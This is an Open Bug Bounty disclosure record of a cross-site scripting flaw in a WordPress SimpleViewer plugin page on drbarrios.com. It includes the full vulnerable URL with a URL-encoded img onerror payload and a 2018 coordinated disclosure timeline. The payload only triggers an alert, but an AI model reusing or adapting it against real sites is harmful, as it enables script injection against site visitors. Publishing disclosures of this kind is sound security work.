drbarrios.com XSS vulnerability

drbarrios.com XSS vulnerability, Open Bug Bounty ID: OBB-677587. Vulnerable URL: http://www.drbarrios.com/wp-content/plugins/wp-simpleviewer/svcore/full.html?bg=%22%3Etrolo%3Ci%3Etruli%3Cimg%20src%3Do%20onerror=alert(%27openbugbounty%27)%3Etransparent&galleryURL;=http%3A%2F%2Fwww.drbarrios.com%2Fwp-content%2Fplugins%2Fwp-simpleviewer%2Fconfig.php%3Fgallery_id%3D7&baseURL;=http://www.drbarrios.com/gallery/&showopenbutton;=true&showfullscreenbutton;=true&useflickr;=false&mobileshowcaption;=true&mobileshownav;=true&mobileshowthumbs;=true&mobilethumbstextcolor;=%23fff&mobilecaptiontextcolor;=%23fff&mobileshowpagecount;=true&firstimageindex;=-1&title;=Gallery. Coordinated Disclosure Timeline: Reported 17 September, 2018. Verified 17 September, 2018. Operator Notified 17 September, 2018. Public Disclosure 16 December, 2018